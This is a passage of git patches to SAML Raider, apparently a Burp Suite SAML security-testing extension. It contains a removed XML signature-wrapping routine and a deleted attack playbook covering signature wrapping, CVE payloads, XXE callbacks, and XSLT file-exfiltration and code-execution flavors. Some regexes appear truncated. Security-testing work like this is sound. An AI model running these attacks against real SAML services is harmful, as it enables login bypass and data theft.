model.BurpCertificate; -import model.BurpCertificateBuilder; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.Node; -import org.w3c.dom.NodeList; -import org.xml.sax.SAXException; - -import javax.xml.crypto.MarshalException; -import javax.xml.crypto.dsig.XMLSignatureException; -import java.io.IOException; -import java.security.InvalidKeyException; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import java.security.SignatureException; -import java.security.cert.CertificateException; -import java.security.spec.InvalidKeySpecException; import java.util.ArrayList; import java.util.HashMap; import java.util.LinkedList; @@ -27,7 +12,6 @@ public class XSWHelpers { - // XSW9 was removed b/c it does not work. Code is still there if you want to have a look :) public final static String[] xswTypes = {"XSW1", "XSW2", "XSW3", "XSW4", "XSW5", "XSW6", "XSW7", "XSW8"}; public static final HashMap MATCH_AND_REPLACE_MAP = new HashMap<>(); @@ -63,9 +47,6 @@ public void applyXSW(String xswType, Document document) { case "XSW8": applyXSW8(document); break; - case "XSW9": - applyXSW9(document); - break; } } @@ -160,90 +141,6 @@ public void applyXSW8(Document document) { object.appendChild(assertion); } - /* - * CVE-2019-3465 - * XMLSecLibs <= 31.4.2, 2.1.0 & 3.0.3 - * SimpleSAMLphp <= 1.17.6 - * Duo Authentication Gateway (DAG) <= 1.5.9 (https://duo.com/labs/psa/duo-psa-2019-002) - * Moodle auth_saml2 < 2019110701 (https://twitter.com/Catalyst_IT_AU/status/1192353402753208320) - * Advisory: https://simplesamlphp.org/security/201911-01 - * Vuln. discovery and write up by Hackmanit: - * https://www.hackmanit.de/en/blog-en/82-xml-signature-validation-bypass-in-simplesamlphp-and-xmlseclibs - * Tweet by @jurajsomorovsky: https://twitter.com/jurajsomorovsky/status/1192452032835325952 - * - * TODO: This does not yet work :/ - */ - public void applyXSW9(Document document) { - - try { - XMLHelpers xmlHelpers = new XMLHelpers(); - - // Calculate new digest by signing the document - Document documentToSign = xmlHelpers.getXMLDocumentOfSAMLMessage(xmlHelpers.getStringOfDocument(document)); - Element evilAssertion = (Element) documentToSign.getElementsByTagNameNS("*", "Assertion").item(0); - evilAssertion.setAttribute("ID", "_evil_assertion_ID"); - applyMatchAndReplaceValues(evilAssertion); - Document documentNewDigest = selfSignAssertion(documentToSign); - - // Remove new SignatureValue and KeyInfo - Element newAssertion = (Element) documentNewDigest.getElementsByTagNameNS("*", "Assertion").item(0); - Element signatureToModify = (Element) newAssertion.getElementsByTagNameNS("*", "Signature").item(0); - Element signatureValueToRemove = (Element) newAssertion.getElementsByTagNameNS("*", "SignatureValue").item(0); - signatureToModify.removeChild(signatureValueToRemove); - Element keyInfoToRemove = (Element) newAssertion.getElementsByTagNameNS("*", "KeyInfo").item(0); - signatureToModify.removeChild(keyInfoToRemove); - - // Read original SignatureValue, KeyInfo & SignedInfo - Element originalAssertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0); - Element originalSignatureValue = (Element) originalAssertion.getElementsByTagNameNS("*", "SignatureValue").item(0); - Element originalKeyInfo = (Element) originalAssertion.getElementsByTagNameNS("*", "KeyInfo").item(0); - Element originalSignedInfo = (Element) originalAssertion.getElementsByTagNameNS("*", "SignedInfo").item(0); - - // Add original SignatureValue and KeyInfo to new document - Element fakeSignedInfo = (Element) newAssertion.getElementsByTagNameNS("*", "SignedInfo").item(0); - signatureToModify.insertBefore(documentNewDigest.adoptNode(originalSignedInfo.cloneNode(true)), fakeSignedInfo); - signatureToModify.insertBefore(documentNewDigest.adoptNode(originalSignatureValue.cloneNode(true)), fakeSignedInfo); - // signatureToModify.insertBefore(documentNewDigest.adoptNode(originalKeyInfo.cloneNode(true)), fakeSignedInfo); - - // Add wrapper element and original assertion to the end - Element wrapper = documentNewDigest.createElement("Wrapper"); - newAssertion.getParentNode().appendChild(wrapper); - wrapper.appendChild(documentNewDigest.adoptNode(originalAssertion.cloneNode(true))); - - // Print for testing... - System.out.println(xmlHelpers.getStringOfDocument(documentNewDigest, 2)); - - } catch (IOException | SAXException e) { - BurpExtender.api.logging().logToError(e); - } - } - - // Used for XSW9 - private Document selfSignAssertion(Document document) { - try { - BurpCertificateBuilder burpCertificateBuilder = new BurpCertificateBuilder("CN=samlraider-temporary-cert.example.net"); - BurpCertificate burpCertificate = burpCertificateBuilder.generateSelfSignedCertificate(); - XMLHelpers xmlHelpers = new XMLHelpers(); - - NodeList assertions = xmlHelpers.getAssertions(document); - String signAlgorithm = xmlHelpers.getSignatureAlgorithm(assertions.item(0)); - String digestAlgorithm = xmlHelpers.getDigestAlgorithm(assertions.item(0)); - xmlHelpers.removeAllSignatures(document); - - String string = xmlHelpers.getString(document); - Document documentToSign = xmlHelpers.getXMLDocumentOfSAMLMessage(string); - xmlHelpers.removeEmptyTags(documentToSign); - xmlHelpers.signAssertion(documentToSign, signAlgorithm, digestAlgorithm, burpCertificate.getCertificate(), burpCertificate.getPrivateKey()); - return documentToSign; - - } catch (InvalidKeyException | NoSuchAlgorithmException | SignatureException | NoSuchProviderException | - InvalidKeySpecException | IOException | CertificateException | XMLSignatureException | SAXException | - MarshalException e) { - BurpExtender.api.logging().logToError(e); - } - return null; - } - public String diffLineMode(String text1, String text2) { DiffMatchPatch differ = new DiffMatchPatch(); differ.diffTimeout = 5; diff --git a/src/main/java/livetesting/ApplyXsltTest.java b/src/main/java/livetesting/ApplyXsltTest.java index 623aefe..2805668 100644 --- a/src/main/java/livetesting/ApplyXsltTest.java +++ b/src/main/java/livetesting/ApplyXsltTest.java @@ -75,10 +75,10 @@ public TestResult canApplyXsltAttack() throws Exception { var request = HttpRequest.httpRequest(rawRequest); var requestResponse = HttpRequestResponse.httpRequestResponse(request, null); samlTabController.setRequestResponse(requestResponse); - samlTabController.applyXSLT("https://example.com"); + samlTabController.applyXSLT(helpers.XSLTPayloads.Flavor.SAXON_UNPARSED_TEXT, "https://example.com"); var infoMessageText = samlTabController.getInfoMessageText(); - var success = SamlTabController.XSLT_CONTENT_APPLIED.equals(infoMessageText); + var success = infoMessageText != null && infoMessageText.startsWith(SamlTabController.XSLT_CONTENT_APPLIED); if (!success) { return new TestResult(false, infoMessageText, null); diff --git a/src/main/java/livetesting/Issue78Test.java b/src/main/java/livetesting/Issue78Test.java index 8809589..9fd8635 100644 --- a/src/main/java/livetesting/Issue78Test.java +++ b/src/main/java/livetesting/Issue78Test.java @@ -75,10 +75,10 @@ public TestResult canApplyXsltAttack() throws Exception { var request = HttpRequest.httpRequest(rawRequest); var requestResponse = HttpRequestResponse.httpRequestResponse(request, null); samlTabController.setRequestResponse(requestResponse); - samlTabController.applyXSLT("https://example.com"); + samlTabController.applyXSLT(helpers.XSLTPayloads.Flavor.SAXON_UNPARSED_TEXT, "https://example.com"); var infoMessageText = samlTabController.getInfoMessageText(); - var success = SamlTabController.XSLT_CONTENT_APPLIED.equals(infoMessageText); + var success = infoMessageText != null && infoMessageText.startsWith(SamlTabController.XSLT_CONTENT_APPLIED); if (!success) { return new TestResult(false, infoMessageText, null); From 48c17c8c9224c4de21f1e8ab0815ed89ee5e0b7f Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:55:23 -0400 Subject: [PATCH 25/27] Fix base64 decoding and add Hackvertor-wrapped SAML support SamlMessageDecoder: fix Illegal base64 character 0x20 caused by URL decoding converting '+' to spaces in POST bodies; strip Hackvertor tags (<@tag>...) before decoding so the tab survives requests wrapped in any Hackvertor transform. SamlMessageAnalyzer: add extractParameterValue() which falls back to a raw-body scan with Hackvertor stripping when Burp's URL param parser returns null (literal '<' in body breaks standard parsing). Wrap the decode step in analyze() so decode failures never hide the tab. Use extractParameterValue() in setRequestResponse() to prevent NPE when parameterValue() returns null. Co-Authored-By: Claude Sonnet 4.6 --- .../java/application/SamlMessageAnalyzer.java | 51 ++++++++-- .../java/application/SamlMessageDecoder.java | 4 +- .../java/model/BurpCertificateBuilder.java | 93 ++++++++++--------- 3 files changed, 93 insertions(+), 55 deletions(-) diff --git a/src/main/java/application/SamlMessageAnalyzer.java b/src/main/java/application/SamlMessageAnalyzer.java index b9eab42..50023d7 100644 --- a/src/main/java/application/SamlMessageAnalyzer.java +++ b/src/main/java/application/SamlMessageAnalyzer.java @@ -64,10 +64,17 @@ else if (request.hasParameter("wresult", HttpParameterType.BODY)) { BurpExtender.api.logging().logToError(e); } } else { - var samlResponseInBody = request.parameterValue(samlResponseParameterName, HttpParameterType.BODY); - var samlResponseInUrl = request.parameterValue(samlResponseParameterName, HttpParameterType.URL); - var samlRequestInBody = request.parameterValue(samlRequestParameterName, HttpParameterType.BODY); - var samlRequestInUrl = request.parameterValue(samlRequestParameterName, HttpParameterType.URL); + var log = BurpExtender.api.logging(); + log.logToOutput("[SAML Raider] analyze() — contentType=" + request.contentType() + + " body[0..80]=" + request.bodyToString().replace("\n","").replace("\r","").substring(0, Math.min(80, request.bodyToString().length()))); + + var samlResponseInBody = extractParameterValue(request, samlResponseParameterName, HttpParameterType.BODY); + var samlResponseInUrl = request.parameterValue(samlResponseParameterName, HttpParameterType.URL); + var samlRequestInBody = extractParameterValue(request, samlRequestParameterName, HttpParameterType.BODY); + var samlRequestInUrl = request.parameterValue(samlRequestParameterName, HttpParameterType.URL); + + log.logToOutput("[SAML Raider] responseInBody=" + (samlResponseInBody != null ? samlResponseInBody.substring(0, Math.min(40, samlResponseInBody.length())) : "null") + + " requestInBody=" + (samlRequestInBody != null ? samlRequestInBody.substring(0, Math.min(40, samlRequestInBody.length())) : "null")); isSAMLMessage = samlResponseInBody != null @@ -75,19 +82,26 @@ else if (request.hasParameter("wresult", HttpParameterType.BODY)) { || samlRequestInBody != null || samlRequestInUrl != null; + log.logToOutput("[SAML Raider] isSAMLMessage=" + isSAMLMessage); + if (isSAMLMessage) { isSAMLRequest = samlRequestInBody != null || samlRequestInUrl != null; isURLParam = samlResponseInUrl != null || samlRequestInUrl != null; String message = - Stream.of(samlResponseInBody, samlResponseInUrl, samlRequestInBody, samlRequestInUrl) + Stream.of(samlResponseInBody, samlResponseInUrl, samlRequestInBody, samlRequestInUrl) .filter(str -> str != null) .findFirst() .orElseThrow(); - var decodedSAMLMessage = SamlMessageDecoder.getDecodedSAMLMessage(message, isWSSMessage, isWSSUrlEncoded); - isInflated = decodedSAMLMessage.isInflated(); - isGZip = decodedSAMLMessage.isGZip(); + try { + var decodedSAMLMessage = SamlMessageDecoder.getDecodedSAMLMessage(message, isWSSMessage, isWSSUrlEncoded); + isInflated = decodedSAMLMessage.isInflated(); + isGZip = decodedSAMLMessage.isGZip(); + } catch (Exception e) { + // Decode failure doesn't hide the tab + BurpExtender.api.logging().logToError(e); + } } } @@ -102,6 +116,27 @@ else if (request.hasParameter("wresult", HttpParameterType.BODY)) { isURLParam); } + /** + * Returns the value of a body parameter, falling back to a raw-body scan when Burp's + * URL-param parser returns null (e.g. because Hackvertor tags containing literal '<' chars + * are present in the body and break standard URL-encoded parsing). + */ + public static String extractParameterValue(HttpRequest request, String paramName, HttpParameterType type) { + String value = request.parameterValue(paramName, type); + if (value != null) return value; + + if (type != HttpParameterType.BODY) return null; + + // Strip Hackvertor tags then scan the raw body for name=value + String rawBody = request.bodyToString().replaceAll("]+>", ""); + String marker = paramName + "="; + int idx = rawBody.indexOf(marker); + if (idx < 0) return null; + String val = rawBody.substring(idx + marker.length()); + int amp = val.indexOf('&'); + return amp >= 0 ? val.substring(0, amp) : val; + } + private SamlMessageAnalyzer() { // static class } diff --git a/src/main/java/application/SamlMessageDecoder.java b/src/main/java/application/SamlMessageDecoder.java index ba7da8d..05eae01 100644 --- a/src/main/java/application/SamlMessageDecoder.java +++ b/src/main/java/application/SamlMessageDecoder.java @@ -26,7 +26,9 @@ public static DecodedSAMLMessage getDecodedSAMLMessage(String message, boolean i } String urlDecoded = BurpExtender.api.utilities().urlUtils().decode(message); - urlDecoded = urlDecoded.replaceAll("\\R", ""); + urlDecoded = urlDecoded.replaceAll("\\R", "").replace(" ", "+"); + // Strip Hackvertor tags (<@tag>...) so the tab survives Hackvertor-wrapped requests + urlDecoded = urlDecoded.replaceAll("]+>", "").strip(); byte[] base64Decoded = Base64.getDecoder().decode(urlDecoded); boolean isInflated = true; diff --git a/src/main/java/model/BurpCertificateBuilder.java b/src/main/java/model/BurpCertificateBuilder.java index 7b66be5..1d70c05 100644 --- a/src/main/java/model/BurpCertificateBuilder.java +++ b/src/main/java/model/BurpCertificateBuilder.java @@ -15,6 +15,7 @@ import java.security.Security; import java.security.SignatureException; import java.security.cert.CertificateEncodingException; +import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import java.security.spec.InvalidKeySpecException; import java.text.ParseException; @@ -29,25 +30,29 @@ import javax.security.auth.x500.X500Principal; -import org.bouncycastle.asn1.ASN1Encodable; import org.bouncycastle.asn1.ASN1EncodableVector; +import org.bouncycastle.asn1.ASN1ObjectIdentifier; +import org.bouncycastle.asn1.ASN1OctetString; +import org.bouncycastle.asn1.ASN1Primitive; import org.bouncycastle.asn1.DERSequence; import org.bouncycastle.asn1.x509.AuthorityKeyIdentifier; import org.bouncycastle.asn1.x509.BasicConstraints; +import org.bouncycastle.asn1.x509.Extension; import org.bouncycastle.asn1.x509.GeneralName; import org.bouncycastle.asn1.x509.GeneralNames; import org.bouncycastle.asn1.x509.KeyPurposeId; import org.bouncycastle.asn1.x509.KeyUsage; import org.bouncycastle.asn1.x509.SubjectKeyIdentifier; -import org.bouncycastle.asn1.x509.X509Extensions; +import org.bouncycastle.cert.X509v3CertificateBuilder; +import org.bouncycastle.cert.jcajce.JcaX509CertificateConverter; import org.bouncycastle.cert.jcajce.JcaX509ExtensionUtils; +import org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder; import org.bouncycastle.jce.provider.BouncyCastleProvider; -import org.bouncycastle.x509.X509V3CertificateGenerator; -import org.bouncycastle.x509.extension.X509ExtensionUtil; +import org.bouncycastle.operator.ContentSigner; +import org.bouncycastle.operator.OperatorCreationException; +import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder; -@SuppressWarnings("deprecation") public class BurpCertificateBuilder { - X509V3CertificateGenerator certificateGenerator; BurpCertificate burpCertificate; X509Certificate issuerCertificate; @@ -88,7 +93,7 @@ public BurpCertificateBuilder(String subject) { calendar.add(Calendar.DATE, 366); notAfter = calendar.getTime(); this.subject = new X500Principal(subject); - signatureAlgorithm = "SHA1withRSA"; + signatureAlgorithm = "SHA256withRSA"; keySize = 2048; issuer = this.subject; burpCertificateExtensions = new LinkedList<>(); @@ -105,7 +110,7 @@ public BurpCertificateBuilder(String subject) { * Generates a new certificate and sets the fields Private/Public Key and * Source of this object. The certificate is signed with the private key of * the given issuer. - * + * * @param issuer * The Private Key of this issuer is used for signing * @return New certificate object for our plugin @@ -134,7 +139,7 @@ public BurpCertificate generateCertificate(BurpCertificate issuer) throws Certif * Generates a new certificate and sets the fields Private/Public Key and * Source of this object. The certificate is signed with the private key of * "this" object. - * + * * @return BurpCertificate which is self-signed. * @throws CertificateEncodingException * @throws InvalidKeyException @@ -160,7 +165,7 @@ public BurpCertificate generateSelfSignedCertificate() throws CertificateEncodin /** * Creates a X.509v3 Certificate. The values of "this" object are used for * the building process. - * + * * @param privateKey * which signes the certificates * @return certificate object @@ -174,29 +179,20 @@ public BurpCertificate generateSelfSignedCertificate() throws CertificateEncodin private X509Certificate generateX509Certificate(PrivateKey privateKey) throws CertificateEncodingException, InvalidKeyException, IllegalStateException, NoSuchAlgorithmException, SignatureException, IOException { - // X.509v3 General - if (version != 3) { throw new UnsupportedOperationException("Not implemented yet."); } - certificateGenerator = new X509V3CertificateGenerator(); - certificateGenerator.setSerialNumber(serial); - certificateGenerator.setIssuerDN(this.issuer); - certificateGenerator.setNotBefore(notBefore); - certificateGenerator.setNotAfter(notAfter); - certificateGenerator.setSubjectDN(subject); - certificateGenerator.setSignatureAlgorithm(signatureAlgorithm); - certificateGenerator.setPublicKey(publicKey); - // X.509v3 Extensions + X509v3CertificateBuilder builder = new JcaX509v3CertificateBuilder( + this.issuer, serial, notBefore, notAfter, subject, publicKey); if (hasBasicConstraints) { if (isCA && hasNoPathLimit) { - certificateGenerator.addExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); + builder.addExtension(Extension.basicConstraints, true, new BasicConstraints(true)); } else if (isCA && !hasNoPathLimit) { - certificateGenerator.addExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(pathLimit)); + builder.addExtension(Extension.basicConstraints, true, new BasicConstraints(pathLimit)); } else { - certificateGenerator.addExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(false)); + builder.addExtension(Extension.basicConstraints, true, new BasicConstraints(false)); } } @@ -205,7 +201,7 @@ private X509Certificate generateX509Certificate(PrivateKey privateKey) throws Ce for (int i : keyUsage) { allKeyUsages |= i; } - certificateGenerator.addExtension(X509Extensions.KeyUsage, true, new KeyUsage(allKeyUsages)); + builder.addExtension(Extension.keyUsage, true, new KeyUsage(allKeyUsages)); } if (extendedKeyUsage.size() > 0) { @@ -213,54 +209,59 @@ private X509Certificate generateX509Certificate(PrivateKey privateKey) throws Ce for (KeyPurposeId i : extendedKeyUsage) { allExtendedKeyUsages.add(i); } - certificateGenerator.addExtension(X509Extensions.ExtendedKeyUsage, false, new DERSequence(allExtendedKeyUsages)); + builder.addExtension(Extension.extendedKeyUsage, false, new DERSequence(allExtendedKeyUsages)); } if (subjectAlternativeName.size() > 0) { - GeneralNames generalNames = new GeneralNames(subjectAlternativeName.toArray(new GeneralName[subjectAlternativeName.size()])); - certificateGenerator.addExtension(X509Extensions.SubjectAlternativeName, true, generalNames); + GeneralNames generalNames = new GeneralNames(subjectAlternativeName.toArray(new GeneralName[0])); + builder.addExtension(Extension.subjectAlternativeName, true, generalNames); } - if (setSubjectKeyIdentifier == true) { + if (setSubjectKeyIdentifier) { JcaX509ExtensionUtils j = new JcaX509ExtensionUtils(); - certificateGenerator.addExtension(X509Extensions.SubjectKeyIdentifier, false, j.createSubjectKeyIdentifier(publicKey)); + builder.addExtension(Extension.subjectKeyIdentifier, false, j.createSubjectKeyIdentifier(publicKey)); } - if (!subjectKeyIdentifier.isEmpty() && setSubjectKeyIdentifier == false) { + if (!subjectKeyIdentifier.isEmpty() && !setSubjectKeyIdentifier) { byte[] ski = CertificateHelper.hexStringToByteArray(subjectKeyIdentifier); - SubjectKeyIdentifier aKI = new SubjectKeyIdentifier(ski); - certificateGenerator.addExtension(X509Extensions.SubjectKeyIdentifier, true, aKI); + builder.addExtension(Extension.subjectKeyIdentifier, true, new SubjectKeyIdentifier(ski)); } if (issuerAlternativeName.size() > 0) { - GeneralNames generalNames = new GeneralNames(issuerAlternativeName.toArray(new GeneralName[issuerAlternativeName.size()])); - certificateGenerator.addExtension(X509Extensions.IssuerAlternativeName, true, generalNames); + GeneralNames generalNames = new GeneralNames(issuerAlternativeName.toArray(new GeneralName[0])); + builder.addExtension(Extension.issuerAlternativeName, true, generalNames); } - if (setAuthorityKeyIdentifier == true && issuerCertificate != null) { + if (setAuthorityKeyIdentifier && issuerCertificate != null) { JcaX509ExtensionUtils j = new JcaX509ExtensionUtils(); - certificateGenerator.addExtension(X509Extensions.AuthorityKeyIdentifier, true, j.createAuthorityKeyIdentifier(issuerCertificate)); + builder.addExtension(Extension.authorityKeyIdentifier, true, j.createAuthorityKeyIdentifier(issuerCertificate)); } - if (!authorityKeyIdentifier.isEmpty() && setAuthorityKeyIdentifier == false) { + if (!authorityKeyIdentifier.isEmpty() && !setAuthorityKeyIdentifier) { byte[] aki = CertificateHelper.hexStringToByteArray(authorityKeyIdentifier); - AuthorityKeyIdentifier aKI = new AuthorityKeyIdentifier(aki); - certificateGenerator.addExtension(X509Extensions.AuthorityKeyIdentifier, true, aKI); + builder.addExtension(Extension.authorityKeyIdentifier, true, new AuthorityKeyIdentifier(aki)); } for (BurpCertificateExtension e : burpCertificateExtensions) { - // http://bouncycastle.sourcearchive.com/documentation/1.43/classorg_1_1bouncycastle_1_1x509_1_1X509V3CertificateGenerator_fd5118a4eaa4870e5fbf6efc02f10c00.html#fd5118a4eaa4870e5fbf6efc02f10c00 - ASN1Encodable extension = X509ExtensionUtil.fromExtensionValue(e.getExtensionValue()); // Finally!!! - certificateGenerator.addExtension(e.getOid(), e.isCritical(), extension); + ASN1OctetString oct = (ASN1OctetString) ASN1Primitive.fromByteArray(e.getExtensionValue()); + ASN1Primitive value = ASN1Primitive.fromByteArray(oct.getOctets()); + builder.addExtension(new ASN1ObjectIdentifier(e.getOid()), e.isCritical(), value); } - return certificateGenerator.generate(privateKey); + try { + ContentSigner signer = new JcaContentSignerBuilder(signatureAlgorithm).setProvider("BC").build(privateKey); + return new JcaX509CertificateConverter().setProvider("BC").getCertificate(builder.build(signer)); + } catch (OperatorCreationException e) { + throw new SignatureException("Cannot build content signer: " + e.getMessage(), e); + } catch (CertificateException e) { + throw new CertificateEncodingException(e.getMessage()); + } } /** * Generates a Public and Private Key with the minimum size of 512 Bytes and * set the variables of this object. - * + * * @throws NoSuchAlgorithmException * @throws NoSuchProviderException * @throws InvalidKeySpecException @@ -483,4 +484,4 @@ public void setIssuserCertificate(X509Certificate issuerCertificate) { this.issuerCertificate = issuerCertificate; } -} \ No newline at end of file +} From e81e357728e08cb2679d84f45e7f19972e308535 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:55:29 -0400 Subject: [PATCH 26/27] Update build dependencies Co-Authored-By: Claude Sonnet 4.6 --- build.gradle | 1 + gradle/libs.versions.toml | 2 ++ 2 files changed, 3 insertions(+) diff --git a/build.gradle b/build.gradle index a6c272a..9d5ad02 100644 --- a/build.gradle +++ b/build.gradle @@ -30,6 +30,7 @@ dependencies { testImplementation libs.net.portswigger.burp.extensions.montoya.api testImplementation libs.org.bouncycastle.bcpkix.jdk15on testImplementation libs.org.junit.jupiter + testRuntimeOnly libs.org.junit.platform.launcher } tasks.withType(JavaCompile).configureEach { diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 881deb4..2f4b541 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -7,6 +7,7 @@ net-portswigger-burp-extensions-montoya-api = "2024.7" org-apache-santuario-xmlsec = "2.1.7" org-bouncycastle-bcpkix-jdk15on = "1.52" org-junit-jupiter = "5.10.2" +org-junit-platform-launcher = "1.10.2" xerces-xercesimpl = "2.12.2" [libraries] @@ -18,4 +19,5 @@ net-portswigger-burp-extensions-montoya-api = { module = "net.portswigger.burp.e org-apache-santuario-xmlsec = { module = "org.apache.santuario:xmlsec", version.ref = "org-apache-santuario-xmlsec" } org-bouncycastle-bcpkix-jdk15on = { module = "org.bouncycastle:bcpkix-jdk15on", version.ref = "org-bouncycastle-bcpkix-jdk15on" } org-junit-jupiter = { module = "org.junit.jupiter:junit-jupiter", version.ref = "org-junit-jupiter" } +org-junit-platform-launcher = { module = "org.junit.platform:junit-platform-launcher", version.ref = "org-junit-platform-launcher" } xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" } From 4837fa5404b294c1d8f01c55bb2a7d4b3eefd609 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Mon, 27 Apr 2026 15:57:19 -0400 Subject: [PATCH 27/27] updates and bug fixes --- doc/ATTACKS.md | 386 -------------- doc/PLAYBOOK.md | 478 ++++++++++++++++++ .../application/CertificateTabController.java | 4 + .../java/application/SamlTabController.java | 137 ++++- src/main/java/gui/EncryptAssertionDialog.java | 74 +++ src/main/java/gui/MetadataImportDialog.java | 269 ++++++++-- src/main/java/gui/SamlPanelAction.java | 27 +- src/main/java/gui/XSLTPayloadDialog.java | 7 +- src/main/java/helpers/AssertionBuilder.java | 64 +++ src/main/java/helpers/AssertionEncryptor.java | 190 +++++++ .../java/helpers/AssertionManipulator.java | 26 + src/main/java/helpers/EncryptionSSRF.java | 11 +- src/main/java/helpers/MetadataImport.java | 94 +++- src/main/java/helpers/XSLTPayloads.java | 2 + src/main/java/model/BurpCertificateStore.java | 7 + 15 files changed, 1312 insertions(+), 464 deletions(-) delete mode 100644 doc/ATTACKS.md create mode 100644 doc/PLAYBOOK.md create mode 100644 src/main/java/gui/EncryptAssertionDialog.java create mode 100644 src/main/java/helpers/AssertionBuilder.java create mode 100644 src/main/java/helpers/AssertionEncryptor.java diff --git a/doc/ATTACKS.md b/doc/ATTACKS.md deleted file mode 100644 index 7f57530..0000000 --- a/doc/ATTACKS.md +++ /dev/null @@ -1,386 +0,0 @@ -# SAML Raider — Attack Playbook - -How to perform every attack this extension implements, end-to-end. - ---- - -## Setup - -1. Build the fat JAR: `./gradlew build` → `build/libs/SAMLRaider-*-all.jar` -2. In Burp: **Extensions → Add → Java → Select file…** → pick the JAR -3. Proxy a SAML flow through Burp. When the extension detects a `SAMLRequest` / `SAMLResponse` parameter or a WSS/SOAP body, a **SAML Raider** tab appears in the request/response editor. -4. If you need a certificate for re-signing, open the **SAML Raider Certificates** top-level tab. - -**Tip — always do this first:** click **Store Certificate** on a captured signed response. That seeds the Certificates tab with the IdP's public cert, which you will clone for certificate-faking and Dupe-Key Confusion. - -**Signature staleness indicator:** after any attack the panel shows **⚠ Stale signature — forward as-is to test SP signature validation, or re-sign above**. Most attacks deliberately invalidate the signature so you can probe whether the SP actually checks it. If the SP rejects, re-sign with a cloned cert and retry (see Signing section). - ---- - -## Strategy — pick attacks in this order - -1. **Recon** — click through the captured response; read Issuer, Destination, Conditions, AudienceRestriction in the info panel. If you have a `/metadata` URL, use **Import Metadata** to grab IdP certs. -2. **Cheapest kills first** — Signature Exclusion (Remove Signatures), Digest Tamper, Signature Exclusion + Multi-Assertion CVEs. These expose "sig-never-validated" misconfigs in seconds. -3. **Pre-auth parser attacks** — XXE, XSLT, SSRF variants. They fire *before* signature validation on many SPs, so they don't need a valid sig. -4. **Encrypted assertion attacks** — if you see ``, head straight to Encryption SSRF. -5. **XSW family** — if the SP validates signatures, try XSW1–8 before moving to CVE payloads. -6. **Library-specific CVEs** — ruby-saml / crewjam / libxml2 stacks each have distinct payloads. -7. **Advanced signature attacks** — HMAC Confusion, Dupe Key Confusion. These need the original cert captured and some re-signing. -8. **Federation / multi-tenant** — Issuer Confusion, ACS Spoof, NameID tricks (comment/PI injection, XSS). - ---- - -## Message row - -### Reset Message -Restores the captured SAML message to its original state. Use between attacks so transforms don't stack accidentally. - -### Format XML -Pretty-prints the XML. Cosmetic only — does not mutate the message. - ---- - -## XSW — XML Signature Wrapping (rows: XSW) - -**Target:** Signed Response *or* signed Assertion. **Prereq:** the message has a ``. - -**Mechanism:** all 8 XSW variants exploit the gap between "what the signature verifier sees" (the signed, inner copy of the assertion) and "what the business logic consumes" (an attacker-inserted evil copy in a different location of the DOM). Different variants move the signed node to different hiding spots — ``, ``, as a sibling before/after, etc. - -### XSW1–8 -**Steps:** -1. Pick a variant from the dropdown (start with **XSW3** — highest hit rate). -2. **Preview in Browser...** — opens a diff view so you see exactly what changed. -3. **Apply XSW** — mutates the message. -4. Forward to SP. If SP processes the evil assertion as authentic, you'll see a session granted under the attacker's identity. -5. If XSW3 fails, walk through XSW1, 2, 4, 5, 6, 7, 8 in order — each corresponds to a different SP quirk (e.g., XSW7 hides in Extensions, XSW8 in Object). - -**Oracle:** successful login / session cookie under the attacker's NameID. - -### Match and Replace -Adds string-level rewrites applied *after* the XSW transform. Use this to swap the NameID in the evil assertion for the target user. Order matters — click **Match and Replace** → add `` → `` → then **Apply XSW**. - ---- - -## CVE row — library-specific payloads - -### CVE-2022-41912 (crewjam/saml, Go) -Appends an unsigned evil Assertion *after* the signed one. Vulnerable libraries only validate the first Assertion but process the last. -**Steps:** pick CVE-2022-41912 → **Apply CVE** → forward. -**Oracle:** login as the NameID in the appended evil assertion. - -### CVE-2024-45409 (ruby-saml < 1.17.0) -Prepends an unsigned evil Assertion *before* the signed one. Ruby-saml's XPath iteration returns the first match. -**Steps:** pick CVE-2024-45409 → **Apply CVE** → forward. -**Oracle:** same as above but prepended. - -### CVE-2025-23369 (GitHub Enterprise / libxml2) -Exploits libxml2's entity-ID redefinition quirk to make the `#id123` reference resolve to attacker-controlled DOM. -**Steps:** pick CVE-2025-23369 → **Apply CVE** → forward. -**Oracle:** signature validates against one element while the SP consumes another. - -### CVE-2025-25291 / CVE-2025-25292 (ruby-saml parser differential) -DOCTYPE- and namespace-based parser-differential attacks — Nokogiri's DOM differs from REXML's, so the signed node and the consumed node diverge. -**Steps:** pick one → **Apply CVE** → forward. -**Oracle:** session granted under an identity that's in the attacker-visible DOM but not the signature-verified DOM. - -**Help button:** click **?** next to the CVE dropdown for a full description of the selected CVE, including affected library versions and references. - ---- - -## XML row — parser / signature-layer attacks - -### Test XXE -**Target:** any SAML response. **Prereq:** SP's XML parser resolves external entities (many production parsers still do — especially older .NET and Java stacks). - -**Steps:** -1. Click **Test XXE** → dialog opens. -2. **Burp Pro:** check **Use Burp Collaborator** (default). -3. **Community edition:** uncheck it and enter a custom OOB domain (`https://yourhost.example`). -4. Click OK → payload inserted at the top of the SAML XML. -5. Forward. Watch your Collaborator / OOB listener for inbound HTTP/DNS from the SP. - -**Oracle:** inbound Collaborator hit = SP's XML parser is resolving external entities → probe further for file read / SSRF. - -### Test XSLT -**Target:** signed message with `` in the Reference (any enveloped XML signature has this). - -**Three flavors in the dialog:** - -#### Saxon `unparsed-text` (blind SSRF via XSLT 2.0) -Use against Saxon-backed XSLT 2.0 engines. Exfiltrates `/etc/passwd` via URL. -**Steps:** pick flavor → supply Collaborator URL → OK. Forward the message. Inbound Collaborator request tells you XSLT processed + what the URL encoded in. - -#### Xalan `Runtime.exec` (Java RCE, xmlsec ≤ 